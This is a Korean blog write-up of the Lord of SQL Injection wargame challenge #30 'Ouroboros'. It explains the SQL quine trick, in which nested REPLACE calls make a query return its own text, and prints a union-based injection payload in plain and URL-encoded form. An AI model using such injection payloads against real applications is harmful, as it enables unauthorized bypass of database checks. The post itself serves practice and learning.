ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • |Lord of SQL_injection| #30 Ouroboros
    Wargame Site/SQL injection 2019. 4. 8. 13:58

     

     

     

    이제 세 문제 정도 남았다.

     

    입력한 pw 와 질의결과 pw 가 같아야한다는 문제이다.

     

     

    pw 의 결과가 감지되면 다음과 같은 결과가 출력된다.

    출력된 결과와 파라미터의 값이 같아야한다.

     

    하지만, 다음과 같은 명백한 문장의 경우 아무런 출력결과가 나오지않았고,

    어쩌면 pw 의 값이 처음부터 존재하지 않았을 것 같다는 예감이 들었다,

    결국에는 Google 의 힘을 빌렸다.

     

     

    그 결과 replace 를 활용하여 입력값과 출력값을 같게해주는 'QUINE' 이라는 구문을 발견했다.


    SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine


    다음과 같은 값을 넘겨줄 경우 입력값과 출력결과를 같게 만들어 줄 수 있다.

    이러한 특성을 이용해서 다음과 같은 쿼리를 만들어 보았다.

     

     

    ' union SELECT REPLACE(REPLACE('" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#

     

     

    아래는 이러한 쿼리를 만들어 주기위한 코드이다.

     

     

     

    %27%20union%20SELECT%20REPLACE(REPLACE(%27"%20union%20SELECT%20REPLACE(REPLACE("$",CHAR(34),

    CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%27"%20union%20SELECT%20

    REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$")%20AS%20Quine%23%27)%20AS%20Quine%23

     

    QUINE 이라는 신박한 문법을 다루어보았다.

    외우기보다 필요할 때마다 사용해야겠다.

     

     

     

     

     

     

     

    'Wargame Site > SQL injection' 카테고리의 다른 글

    |Lord of SQL_injection| #32 Alien  (0) 2019.04.08
    |Lord of SQL_injection| #31 Zombie  (0) 2019.04.08
    |Lord of SQL_injection| #29 Phantom  (0) 2019.03.15
    아는 동생의 SOS  (0) 2019.03.08
    |Lord of SQL_injection| #28 Frankenstein  (0) 2019.03.05

    댓글

Designed by Tistory.